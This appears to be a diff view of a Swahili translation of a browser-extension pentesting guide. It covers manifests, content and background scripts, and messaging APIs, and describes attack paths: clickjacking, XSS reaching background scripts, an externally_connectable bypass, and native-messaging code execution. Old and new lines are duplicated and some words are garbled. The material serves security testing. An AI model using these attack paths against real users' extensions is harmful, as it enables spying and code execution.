Kila kipengele cha extension kimewekwa mbali na kingine kwa **mipaka yenye ulinzi mkali**. Kila kipengele kinakimbia katika **mchakato tofauti wa mfumo wa uendeshaji**. Content scripts na msingi wa extension zinakimbia katika **mchakato wa sandbox** ambao haupatikani kwa huduma nyingi za mfumo wa uendeshaji.
 | 
			
		||||
Kila kipengele cha nyongeza kimewekwa mbali na kingine kwa **mipaka yenye ulinzi mkali**. Kila kipengele kinakimbia katika **mchakato tofauti wa mfumo wa uendeshaji**. Scripts za maudhui na misingi ya nyongeza zinakimbia katika **mchakato wa sandbox** ambao haupatikani kwa huduma nyingi za mfumo wa uendeshaji.
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, content scripts zimej separated kutoka kwa kurasa zao za wavuti kwa **kukimbia katika heap tofauti ya JavaScript**. Content script na ukurasa wa wavuti wana **ufikiaji wa DOM sawa**, lakini wawili **hawabadilishani viashiria vya JavaScript**, kuzuia kuvuja kwa kazi za JavaScript.
 | 
			
		||||
Zaidi ya hayo, scripts za maudhui zimej separated kutoka kwa kurasa zao za wavuti kwa **kukimbia katika heap tofauti ya JavaScript**. Script ya maudhui na ukurasa wa wavuti zina **ufikiaji wa DOM sawa ya msingi**, lakini hizo mbili **hazibadilishani viashiria vya JavaScript**, kuzuia kuvuja kwa kazi za JavaScript.
 | 
			
		||||
 | 
			
		||||
## **`manifest.json`**
 | 
			
		||||
 | 
			
		||||
A Chrome extension is just a ZIP folder with a [.crx file extension](https://www.lifewire.com/crx-file-2620391). Msingi wa extension ni **`manifest.json`** faili katika mzizi wa folda, ambayo inabainisha mpangilio, ruhusa, na chaguzi zingine za usanidi.
 | 
			
		||||
Nyongeza ya Chrome ni tu folda ya ZIP yenye [.crx file extension](https://www.lifewire.com/crx-file-2620391). Msingi wa nyongeza ni **`manifest.json`** faili katika mzizi wa folda, ambayo inaelezea mpangilio, ruhusa, na chaguzi zingine za usanidi.
 | 
			
		||||
 | 
			
		||||
Example:
 | 
			
		||||
```json
 | 
			
		||||
@ -61,7 +61,7 @@ Example:
 | 
			
		||||
```
 | 
			
		||||
### `content_scripts`
 | 
			
		||||
 | 
			
		||||
Content scripts zina **pakiwa** kila wakati mtumiaji **anapohamia kwenye ukurasa unaolingana**, katika kesi yetu ukurasa wowote unaolingana na **`https://example.com/*`** na usiozingatia **`*://*/*/business*`** regex. Zinatekelezwa **kama vile skripti za ukurasa wenyewe** na zina ufikiaji wa kiholela kwa [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) wa ukurasa.
 | 
			
		||||
Content scripts zinapakiwa kila wakati mtumiaji anapohamia kwenye ukurasa unaolingana, katika kesi yetu ukurasa wowote unaolingana na **`https://example.com/*`** na usiozingatia regex **`*://*/*/business*`**. Zinatekelezwa **kama vile scripts za ukurasa wenyewe** na zina ufikiaji wa kiholela kwa [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) wa ukurasa.
 | 
			
		||||
```json
 | 
			
		||||
"content_scripts": [
 | 
			
		||||
{
 | 
			
		||||
@ -94,21 +94,21 @@ document.body.appendChild(div)
 | 
			
		||||
Ujumbe unatumwa kwa kurasa za nyongeza na script ya maudhui wakati kitufe hiki kinapobonyezwa, kupitia matumizi ya [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Hii ni kutokana na kikomo cha script ya maudhui katika ufikiaji wa moja kwa moja wa APIs, ambapo `storage` ni miongoni mwa visثi vichache. Kwa kazi zaidi ya visثi hivi, ujumbe unatumwa kwa kurasa za nyongeza ambazo script za maudhui zinaweza kuwasiliana nazo.
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> Kulingana na kivinjari, uwezo wa script ya maudhui unaweza kutofautiana kidogo. Kwa vivinjari vya msingi wa Chromium, orodha ya uwezo inapatikana katika [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), na kwa Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) inatumika kama chanzo kikuu.\
 | 
			
		||||
> Pia ni muhimu kutambua kwamba script za maudhui zina uwezo wa kuwasiliana na script za nyuma, na kuwapa uwezo wa kutekeleza vitendo na kurudisha majibu.
 | 
			
		||||
> Kulingana na kivinjari, uwezo wa script ya maudhui unaweza kutofautiana kidogo. Kwa vivinjari vinavyotegemea Chromium, orodha ya uwezo inapatikana katika [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), na kwa Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) inatumika kama chanzo kikuu.\
 | 
			
		||||
> Pia inafaa kutajwa kwamba script za maudhui zina uwezo wa kuwasiliana na script za nyuma, na kuwapa uwezo wa kutekeleza vitendo na kurudisha majibu.
 | 
			
		||||
 | 
			
		||||
Ili kuona na kufanyia kazi script za maudhui katika Chrome, menyu ya zana za maendeleo za Chrome inaweza kufikiwa kutoka Chaguo > Zana zaidi > Zana za maendeleo AU kwa kubonyeza Ctrl + Shift + I.
 | 
			
		||||
 | 
			
		||||
Baada ya zana za maendeleo kuonyeshwa, **tabu ya Chanzo** inapaswa kubonyezwa, ikifuatiwa na tabu ya **Script za Maudhui**. Hii inaruhusu kuangalia script za maudhui zinazotumika kutoka nyongeza mbalimbali na kuweka alama za kuvunja ili kufuatilia mtiririko wa utekelezaji.
 | 
			
		||||
 | 
			
		||||
### Script za maudhui zilizoongezwa
 | 
			
		||||
### Script za maudhui zilizowekwa
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Kumbuka kwamba **Script za Maudhui si lazima** kwani pia inawezekana **kudumu** **kuongeza** script na **kuziingiza kimaandishi** katika kurasa za wavuti kupitia **`tabs.executeScript`**. Hii kwa kweli inatoa **udhibiti wa kina** zaidi.
 | 
			
		||||
> Kumbuka kwamba **Script za Maudhui si lazima** kwani pia inawezekana **kudumu** **kuingiza** script na **kuziingiza kimaandishi** katika kurasa za wavuti kupitia **`tabs.executeScript`**. Hii kwa kweli inatoa **udhibiti wa kina** zaidi.
 | 
			
		||||
 | 
			
		||||
Kwa kuingiza script ya maudhui kimaandishi, nyongeza inahitaji kuwa na [idhini za mwenyeji](https://developer.chrome.com/docs/extensions/reference/permissions) kwa ukurasa ambao script zitakuwa zinaingizwa. Idhini hizi zinaweza kupatikana ama kwa **kuziomba** ndani ya hati ya nyongeza au kwa msingi wa muda kupitia [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
 | 
			
		||||
 | 
			
		||||
#### Mfano wa nyongeza inayotumia activeTab
 | 
			
		||||
#### Mfano wa nyongeza inayotegemea activeTab
 | 
			
		||||
```json:manifest.json
 | 
			
		||||
{
 | 
			
		||||
"name": "My extension",
 | 
			
		||||
@ -208,16 +208,16 @@ js: ["contentScript.js"],
 | 
			
		||||
```
 | 
			
		||||
### `background`
 | 
			
		||||
 | 
			
		||||
Meseji zinazotumwa na scripts za maudhui zinapokelewa na **background page**, ambayo ina jukumu kuu katika kuratibu vipengele vya nyongeza. Kwa kuzingatia, background page inadumu wakati wote wa maisha ya nyongeza, ikifanya kazi kwa siri bila mwingiliano wa moja kwa moja na mtumiaji. Ina Document Object Model (DOM) yake mwenyewe, ikiruhusu mwingiliano tata na usimamizi wa hali.
 | 
			
		||||
Meseji zinazotumwa na scripts za maudhui zinapokelewa na **background page**, ambayo ina jukumu kuu katika kuratibu vipengele vya nyongeza. Kwa kuzingatia, background page inadumu wakati wote wa maisha ya nyongeza, ikifanya kazi kwa siri bila mwingiliano wa moja kwa moja na mtumiaji. Ina Model ya Kitu ya Hati (DOM) yake mwenyewe, ikiruhusu mwingiliano tata na usimamizi wa hali.
 | 
			
		||||
 | 
			
		||||
**Mambo Muhimu**:
 | 
			
		||||
 | 
			
		||||
- **Jukumu la Background Page:** Inafanya kazi kama kituo cha neva kwa nyongeza, kuhakikisha mawasiliano na uratibu kati ya sehemu mbalimbali za nyongeza.
 | 
			
		||||
- **Uendelevu:** Ni kiumbe kilichopo kila wakati, kisichoonekana kwa mtumiaji lakini muhimu kwa utendaji wa nyongeza.
 | 
			
		||||
- **Uundaji Otomatiki:** Ikiwa haijafafanuliwa wazi, kivinjari kitaunda kiotomatiki background page. Ukurasa huu ulioundwa kiotomatiki utajumuisha scripts zote za background zilizotajwa katika hati ya nyongeza, kuhakikisha uendeshaji usio na mshikemshike wa kazi za background za nyongeza.
 | 
			
		||||
- **Uendelevu:** Ni kitu ambacho kiko kila wakati, kisichoonekana kwa mtumiaji lakini muhimu kwa utendaji wa nyongeza.
 | 
			
		||||
- **Uundaji Otomatiki:** Ikiwa haijafafanuliwa wazi, kivinjari kitaunda kiotomatiki background page. Ukurasa huu ulioundwa kiotomatiki utajumuisha scripts zote za background zilizotajwa katika hati ya nyongeza, kuhakikisha uendeshaji usio na mshono wa kazi za background za nyongeza.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Urahisi unaotolewa na kivinjari katika kuunda kiotomatiki background page (wakati haijatangazwa wazi) unahakikisha kwamba scripts zote muhimu za background zimeunganishwa na zinafanya kazi, zikifanya mchakato wa kuweka nyongeza kuwa rahisi.
 | 
			
		||||
> Urahisi unaotolewa na kivinjari katika kuunda kiotomatiki background page (wakati haijatangazwa wazi) unahakikisha kuwa scripts zote muhimu za background zimeunganishwa na zinafanya kazi, zikifanya mchakato wa kuweka nyongeza kuwa rahisi.
 | 
			
		||||
 | 
			
		||||
Mfano wa script ya background:
 | 
			
		||||
```js
 | 
			
		||||
@ -229,7 +229,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
 | 
			
		||||
```
 | 
			
		||||
Inatumia [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) kusikiliza ujumbe. Wakati ujumbe wa `"explain"` unapopokelewa, inatumia [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) kufungua ukurasa katika tab mpya.
 | 
			
		||||
 | 
			
		||||
Ili kubaini makosa katika skripti ya nyuma unaweza kwenda kwenye **maelezo ya nyongeza na kukagua huduma ya mfanyakazi,** hii itafungua zana za maendeleo na skripti ya nyuma:
 | 
			
		||||
Ili kubaini skripti ya nyuma unaweza kwenda kwenye **maelezo ya nyongeza na kukagua huduma ya mfanyakazi,** hii itafungua zana za maendeleo na skripti ya nyuma:
 | 
			
		||||
 | 
			
		||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
@ -246,13 +246,13 @@ Nyongeza za kivinjari zinaweza kuwa na aina mbalimbali za kurasa:
 | 
			
		||||
Kumbuka kwamba kurasa hizi si za kudumu kama kurasa za nyuma kwani zinapakia maudhui kwa mahitaji. Licha ya hili, zinashiriki uwezo fulani na ukurasa wa nyuma:
 | 
			
		||||
 | 
			
		||||
- **Mawasiliano na Skripti za Maudhui:** Kama ilivyo kwa ukurasa wa nyuma, kurasa hizi zinaweza kupokea ujumbe kutoka kwa skripti za maudhui, kurahisisha mwingiliano ndani ya nyongeza.
 | 
			
		||||
- **Upatikanaji wa APIs Maalum za Nyongeza:** Kurasa hizi zinafurahia upatikanaji mpana wa APIs maalum za nyongeza, kulingana na ruhusa zilizofafanuliwa kwa nyongeza.
 | 
			
		||||
- **Upatikanaji wa APIs Maalum za Nyongeza:** Kurasa hizi zina upatikanaji mpana wa APIs maalum za nyongeza, kulingana na ruhusa zilizofafanuliwa kwa nyongeza.
 | 
			
		||||
 | 
			
		||||
### `permissions` & `host_permissions`
 | 
			
		||||
 | 
			
		||||
**`permissions`** na **`host_permissions`** ni entries kutoka `manifest.json` ambazo zitaonyesha **ni ruhusa zipi** nyongeza za kivinjari zina (hifadhi, eneo...) na katika **kurasa zipi za wavuti**.
 | 
			
		||||
 | 
			
		||||
Kama nyongeza za kivinjari zinaweza kuwa na **mamlaka makubwa**, moja mbaya au moja iliyovunjwa inaweza kumruhusu mshambuliaji **njia tofauti za kuiba taarifa nyeti na kupeleleza mtumiaji**.
 | 
			
		||||
Kwa kuwa nyongeza za kivinjari zinaweza kuwa na **mamlaka makubwa**, moja mbaya au moja iliyovunjwa inaweza kumruhusu mshambuliaji **njia tofauti za kuiba taarifa nyeti na kupeleleza mtumiaji**.
 | 
			
		||||
 | 
			
		||||
Angalia jinsi mipangilio hii inavyofanya kazi na jinsi inaweza kutumika vibaya katika:
 | 
			
		||||
 | 
			
		||||
@ -302,10 +302,10 @@ Katika nyongeza za umma, **extension-id inapatikana**:
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
Hata hivyo, ikiwa parameter ya `manifest.json` **`use_dynamic_url`** inatumika, **id hii inaweza kuwa ya dinamik**.
 | 
			
		||||
Hata hivyo, ikiwa parameter ya `manifest.json` **`use_dynamic_url`** inatumika, **id hii inaweza kuwa ya kubadilika**.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Kumbuka kwamba hata kama ukurasa umeelezewa hapa, unaweza kuwa **umejilinda dhidi ya ClickJacking** kutokana na **Content Security Policy**. Hivyo unahitaji pia kuangalia (sehemu ya frame-ancestors) kabla ya kuthibitisha kuwa shambulio la ClickJacking linawezekana.
 | 
			
		||||
> Kumbuka kwamba hata kama ukurasa umeelezewa hapa, unaweza kuwa **ulindwa dhidi ya ClickJacking** kutokana na **Content Security Policy**. Hivyo unahitaji pia kuangalia (sehemu ya frame-ancestors) kabla ya kuthibitisha kuwa shambulio la ClickJacking linawezekana.
 | 
			
		||||
 | 
			
		||||
Kuruhusiwa kufikia kurasa hizi kunafanya kurasa hizi **kuwa na uwezekano wa kuwa na udhaifu wa ClickJacking**:
 | 
			
		||||
 | 
			
		||||
@ -319,13 +319,13 @@ browext-clickjacking.md
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Kumbuka kwamba kurasa kutoka **`web_accessible_resources`** na kurasa nyingine za nyongeza pia zina uwezo wa **kuwasiliana na scripts za nyuma**. Hivyo ikiwa moja ya kurasa hizi ina udhaifu wa **XSS** inaweza kufungua udhaifu mkubwa zaidi.
 | 
			
		||||
>
 | 
			
		||||
> Zaidi ya hayo, kumbuka kwamba unaweza kufungua tu kurasa zilizoonyeshwa katika **`web_accessible_resources`** ndani ya iframes, lakini kutoka kwenye tab mpya inawezekana kufikia ukurasa wowote katika nyongeza ukijua extension ID. Hivyo, ikiwa XSS inapatikana ikitumia vigezo sawa, inaweza kutumika hata kama ukurasa haujawekwa katika **`web_accessible_resources`**.
 | 
			
		||||
> Zaidi ya hayo, kumbuka kwamba unaweza kufungua tu kurasa zilizoonyeshwa katika **`web_accessible_resources`** ndani ya iframes, lakini kutoka kwenye tab mpya inawezekana kufikia ukurasa wowote katika nyongeza ukijua extension ID. Hivyo, ikiwa XSS inapatikana ikitumia vigezo vile vile, inaweza kutumika hata kama ukurasa haujawekwa katika **`web_accessible_resources`**.
 | 
			
		||||
 | 
			
		||||
### `externally_connectable`
 | 
			
		||||
 | 
			
		||||
Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Mali ya `"externally_connectable"` katika manifest inatangaza **ni nyongeza zipi na kurasa za wavuti zinaweza kuungana** na nyongeza yako kupitia [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) na [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
 | 
			
		||||
 | 
			
		||||
- Ikiwa ufunguo wa **`externally_connectable`** **haujaelezwa** katika manifest ya nyongeza yako au umeelezwa kama **`"ids": ["*"]`**, **nyongeza zote zinaweza kuungana, lakini hakuna kurasa za wavuti zinaweza kuungana**.
 | 
			
		||||
- Ikiwa funguo ya **`externally_connectable`** **haijatangazwa** katika manifest ya nyongeza yako au imetangazwa kama **`"ids": ["*"]`**, **nyongeza zote zinaweza kuungana, lakini hakuna kurasa za wavuti zinaweza kuungana**.
 | 
			
		||||
- Ikiwa **IDs maalum zimeelezwa**, kama katika `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **ni hizo programu pekee** zinaweza kuungana.
 | 
			
		||||
- Ikiwa **mifano** imeelezwa, programu hizo za wavuti zitakuwa na uwezo wa kuungana:
 | 
			
		||||
```json
 | 
			
		||||
@ -335,24 +335,24 @@ Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/m
 | 
			
		||||
```
 | 
			
		||||
- Ikiwa imeelezwa kama tupu: **`"externally_connectable": {}`**, hakuna programu au wavuti itakayoweza kuungana.
 | 
			
		||||
 | 
			
		||||
**Mipanuzi na URLs** zilizoorodheshwa hapa, **uso wa shambulio** utakuwa mdogo.
 | 
			
		||||
**Mipanuzi na URL** zilizoorodheshwa hapa, **uso wa shambulio** utakuwa mdogo.
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Ikiwa ukurasa wa wavuti **unaotetereka kwa XSS au takeover** umeonyeshwa katika **`externally_connectable`**, mshambuliaji ataweza **kutuma ujumbe moja kwa moja kwa skripti ya nyuma**, akipita kabisa Skripti ya Maudhui na CSP yake.
 | 
			
		||||
>
 | 
			
		||||
> Kwa hivyo, hii ni **bypass yenye nguvu sana**.
 | 
			
		||||
>
 | 
			
		||||
> Zaidi ya hayo, ikiwa mteja ataweka mipanuzi ya uongo, hata kama hairuhusiwi kuwasiliana na mipanuzi inayotetereka, inaweza kuingiza **data za XSS katika ukurasa wa wavuti ulioidhinishwa** au kutumia **`WebRequest`** au **`DeclarativeNetRequest`** APIs kubadilisha maombi kwenye kikoa kilicholengwa kubadilisha ombi la ukurasa kwa **faili ya JavaScript**. (Kumbuka kwamba CSP kwenye ukurasa ulio kwenye lengo inaweza kuzuia mashambulizi haya). Wazo hili linatokana na [**hiki andiko**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
 | 
			
		||||
> Zaidi ya hayo, ikiwa mteja ataweka upanuzi wa uongo, hata kama haukubaliwi kuwasiliana na upanuzi unaotetereka, unaweza kuingiza **data za XSS katika ukurasa wa wavuti ulioidhinishwa** au kutumia **`WebRequest`** au **`DeclarativeNetRequest`** APIs kudhibiti maombi kwenye kikoa kilicholengwa kubadilisha ombi la ukurasa kwa **faili ya JavaScript**. (Kumbuka kwamba CSP kwenye ukurasa uliohisiwa inaweza kuzuia mashambulizi haya). Wazo hili linatokana na [**hiki andiko**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
 | 
			
		||||
 | 
			
		||||
## Muhtasari wa mawasiliano
 | 
			
		||||
 | 
			
		||||
### Mipanuzi <--> WebApp
 | 
			
		||||
### Upanuzi <--> WebApp
 | 
			
		||||
 | 
			
		||||
Ili kuwasiliana kati ya skripti ya maudhui na ukurasa wa wavuti ujumbe wa posta hutumiwa mara nyingi. Kwa hivyo, katika programu ya wavuti mara nyingi utapata wito kwa kazi **`window.postMessage`** na katika skripti ya maudhui wasikilizaji kama **`window.addEventListener`**. Tafadhali kumbuka, hata hivyo, kwamba mipanuzi inaweza pia **kuwasiliana na programu ya wavuti ikituma Ujumbe wa Post** (na kwa hivyo wavuti inapaswa kuutarajia) au tu kufanya wavuti ipakue skripti mpya.
 | 
			
		||||
Ili kuwasiliana kati ya skripti ya maudhui na ukurasa wa wavuti ujumbe wa posta hutumiwa mara nyingi. Kwa hivyo, katika programu ya wavuti mara nyingi utapata simu za kazi **`window.postMessage`** na katika skripti ya maudhui wasikilizaji kama **`window.addEventListener`**. Tafadhali kumbuka, hata hivyo, kwamba upanuzi unaweza pia **kuwasiliana na programu ya wavuti kwa kutuma Ujumbe wa Post** (na kwa hivyo wavuti inapaswa kuutarajia) au tu kufanya wavuti ipakue skripti mpya.
 | 
			
		||||
 | 
			
		||||
### Ndani ya mipanuzi
 | 
			
		||||
### Ndani ya upanuzi
 | 
			
		||||
 | 
			
		||||
Mara nyingi kazi **`chrome.runtime.sendMessage`** hutumiwa kutuma ujumbe ndani ya mipanuzi (mara nyingi inashughulikiwa na skripti ya `background`) na ili kupokea na kushughulikia inatangazwa msikilizaji akitumia **`chrome.runtime.onMessage.addListener`**.
 | 
			
		||||
Mara nyingi kazi **`chrome.runtime.sendMessage`** hutumiwa kutuma ujumbe ndani ya upanuzi (mara nyingi inashughulikiwa na skripti ya `background`) na ili kupokea na kushughulikia inatangazwa msikilizaji akitumia **`chrome.runtime.onMessage.addListener`**.
 | 
			
		||||
 | 
			
		||||
Pia inawezekana kutumia **`chrome.runtime.connect()`** kuwa na muunganisho endelevu badala ya kutuma ujumbe mmoja mmoja, inawezekana kuitumia **kutuma** na **kupokea** **ujumbe** kama katika mfano ufuatao:
 | 
			
		||||
 | 
			
		||||
@ -389,7 +389,7 @@ console.log("Content script received message from background script:", msg)
 | 
			
		||||
```
 | 
			
		||||
</details>
 | 
			
		||||
 | 
			
		||||
Inawezekana pia kutuma ujumbe kutoka kwa script ya nyuma hadi script ya maudhui iliyoko katika tab maalum kwa kuita **`chrome.tabs.sendMessage`** ambapo utahitaji kuashiria **ID ya tab** ya kutuma ujumbe.
 | 
			
		||||
Ni possible pia kutuma ujumbe kutoka kwa script ya nyuma hadi script ya maudhui iliyoko katika tab maalum kwa kuita **`chrome.tabs.sendMessage`** ambapo utahitaji kuashiria **ID ya tab** ya kutuma ujumbe.
 | 
			
		||||
 | 
			
		||||
### Kutoka kwa `externally_connectable` inayoruhusiwa hadi nyongeza
 | 
			
		||||
 | 
			
		||||
@ -401,7 +401,7 @@ Mahali ambapo inahitajika kutaja **extension ID**.
 | 
			
		||||
 | 
			
		||||
### Native Messaging
 | 
			
		||||
 | 
			
		||||
Inawezekana kwa scripts za background kuwasiliana na binaries ndani ya mfumo, ambayo yanaweza kuwa **na udhaifu mkubwa kama RCEs** ikiwa mawasiliano haya hayajashughulikiwa ipasavyo. [More on this later](#native-messaging).
 | 
			
		||||
Inawezekana kwa scripts za background kuwasiliana na binaries ndani ya mfumo, ambayo inaweza kuwa **na hatari za msingi kama RCEs** ikiwa mawasiliano haya hayajashughulikiwa ipasavyo. [More on this later](#native-messaging).
 | 
			
		||||
```javascript
 | 
			
		||||
chrome.runtime.sendNativeMessage(
 | 
			
		||||
"com.my_company.my_application",
 | 
			
		||||
@ -413,7 +413,7 @@ console.log("Received " + response)
 | 
			
		||||
```
 | 
			
		||||
## Web **↔︎** Mawasiliano ya Skripti za Maudhui
 | 
			
		||||
 | 
			
		||||
Mazingira ambapo **skripti za maudhui** zinafanya kazi na ambapo kurasa za mwenyeji zipo ni **separated** kutoka kwa kila mmoja, kuhakikisha **isolation**. Licha ya isolation hii, zote zina uwezo wa kuingiliana na **Document Object Model (DOM)** ya ukurasa, rasilimali inayoshirikiwa. Ili ukurasa wa mwenyeji uweze kushiriki katika mawasiliano na **skripti ya maudhui**, au kwa njia isiyo ya moja kwa moja na nyongeza kupitia skripti ya maudhui, inahitajika kutumia **DOM** ambayo inapatikana kwa pande zote kama njia ya mawasiliano.
 | 
			
		||||
Mazingira ambapo **skripti za maudhui** zinafanya kazi na ambapo kurasa za mwenyeji zipo ni **separated** kutoka kwa kila mmoja, kuhakikisha **isolation**. Licha ya isolation hii, zote zina uwezo wa kuingiliana na **Document Object Model (DOM)** ya ukurasa, rasilimali inayoshirikiwa. Ili ukurasa wa mwenyeji uweze kushiriki katika mawasiliano na **skripti ya maudhui**, au kwa njia isiyo ya moja kwa moja na nyongeza kupitia skripti ya maudhui, inahitajika kutumia **DOM** ambayo inapatikana na pande zote kama njia ya mawasiliano.
 | 
			
		||||
 | 
			
		||||
### Post Messages
 | 
			
		||||
```javascript:content-script.js
 | 
			
		||||
@ -476,7 +476,7 @@ browext-xss-example.md
 | 
			
		||||
 | 
			
		||||
Hii si "haswa" njia ya mawasiliano, lakini **mtandao na skripti ya maudhui zitakuwa na ufikiaji wa DOM ya wavuti**. Hivyo, ikiwa **skripti ya maudhui** inasoma taarifa fulani kutoka kwake, **ikitegemea DOM ya wavuti**, wavuti inaweza **kubadilisha data hii** (kwa sababu wavuti haipaswi kuaminika, au kwa sababu wavuti ina udhaifu wa XSS) na **kuathiri Skripti ya Maudhui**.
 | 
			
		||||
 | 
			
		||||
Unaweza pia kupata mfano wa **XSS inayotegemea DOM kuathiri nyongeza ya kivinjari** katika:
 | 
			
		||||
Unaweza pia kupata mfano wa **XSS inayotegemea DOM kuathiri upanuzi wa kivinjari** katika:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
browext-xss-example.md
 | 
			
		||||
@ -525,7 +525,7 @@ Katika mfano ulioangaziwa, **`sendResponse()`** ilitekelezwa kwa njia ya synchro
 | 
			
		||||
 | 
			
		||||
Kitu muhimu cha kuzingatia ni kwamba katika hali ambapo kurasa nyingi zimewekwa kupokea matukio ya `onMessage`, **kurasa ya kwanza kutekeleza `sendResponse()`** kwa tukio maalum itakuwa pekee inayoweza kutoa jibu kwa ufanisi. Majibu yoyote yanayofuata kwa tukio hilo hilo hayatazingatiwa.
 | 
			
		||||
 | 
			
		||||
Wakati wa kuunda nyongeza mpya, upendeleo unapaswa kuwa kwa ahadi badala ya callbacks. Kuhusu matumizi ya callbacks, kazi ya `sendResponse()` inachukuliwa kuwa halali tu ikiwa inatekelezwa moja kwa moja ndani ya muktadha wa synchronous, au ikiwa mhandisi wa tukio unaonyesha operesheni ya asynchronous kwa kurudisha `true`. Ikiwa hakuna mhandisi yeyote anayerudisha `true` au ikiwa kazi ya `sendResponse()` imeondolewa kutoka kwenye kumbukumbu (garbage-collected), callback inayohusiana na kazi ya `sendMessage()` itatekelezwa kwa default.
 | 
			
		||||
Wakati wa kuunda nyongeza mpya, upendeleo unapaswa kuwa kwa ahadi badala ya callbacks. Kuhusu matumizi ya callbacks, kazi ya `sendResponse()` inachukuliwa kuwa halali tu ikiwa inatekelezwa moja kwa moja ndani ya muktadha wa synchronous, au ikiwa mhandisi wa tukio unaonyesha operesheni ya asynchronous kwa kurudisha `true`. Ikiwa hakuna mhandisi yeyote anayerudisha `true` au ikiwa kazi ya `sendResponse()` imeondolewa kutoka kwenye kumbukumbu (garbage-collected), callback inayohusiana na kazi ya `sendMessage()` itachochewa kwa default.
 | 
			
		||||
 | 
			
		||||
## Native Messaging
 | 
			
		||||
 | 
			
		||||
@ -539,9 +539,9 @@ Nyongeza za kivinjari pia zinaruhusu kuwasiliana na **binaries katika mfumo kupi
 | 
			
		||||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Mahali ambapo `name` ni mfuatano wa herufi uliotolewa kwa [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) au [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) kuwasiliana na programu kutoka kwa skripti za nyuma za nyongeza ya kivinjari. `path` ni njia ya faili ya binary, kuna `type` moja tu halali ambayo ni stdio (tumia stdin na stdout) na `allowed_origins` inaonyesha nyongeza ambazo zinaweza kuipata (na haziwezi kuwa na wildcard).
 | 
			
		||||
Mahali ambapo `name` ni mfuatano uliopitishwa kwa [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) au [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) kuwasiliana na programu kutoka kwa skripti za nyuma za nyongeza ya kivinjari. `path` ni njia ya binary, kuna aina 1 pekee halali ambayo ni stdio (tumia stdin na stdout) na `allowed_origins` inaonyesha nyongeza ambazo zinaweza kuipata (na haziwezi kuwa na wildcard).
 | 
			
		||||
 | 
			
		||||
Chrome/Chromium itatafuta json hii katika baadhi ya rejista za windows na baadhi ya njia katika macOS na Linux (maelezo zaidi katika [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
 | 
			
		||||
Chrome/Chromium itatafuta json hii katika baadhi ya usajili wa windows na baadhi ya njia katika macOS na Linux (maelezo zaidi katika [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Nyongeza ya kivinjari pia inahitaji ruhusa ya `nativeMessaing` kutangazwa ili iweze kutumia mawasiliano haya.
 | 
			
		||||
@ -558,42 +558,42 @@ console.log("Received " + response)
 | 
			
		||||
```
 | 
			
		||||
Katika [**hiki kipande cha blogu**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), mfano wa muundo dhaifu unaotumia ujumbe wa asili unapendekezwa:
 | 
			
		||||
 | 
			
		||||
1. Kiendelezi cha kivinjari kina muundo wa wildcard kwa ajili ya skripti ya maudhui.
 | 
			
		||||
1. Kiongezeo cha kivinjari kina muundo wa wildcard kwa skripti ya maudhui.
 | 
			
		||||
2. Skripti ya maudhui inapita ujumbe wa `postMessage` kwa skripti ya nyuma kwa kutumia `sendMessage`.
 | 
			
		||||
3. Skripti ya nyuma inapita ujumbe kwa programu ya asili kwa kutumia `sendNativeMessage`.
 | 
			
		||||
4. Programu ya asili inashughulikia ujumbe huo kwa hatari, ikisababisha utekelezaji wa msimbo.
 | 
			
		||||
4. Programu ya asili inashughulikia ujumbe kwa njia hatari, ikisababisha utekelezaji wa msimbo.
 | 
			
		||||
 | 
			
		||||
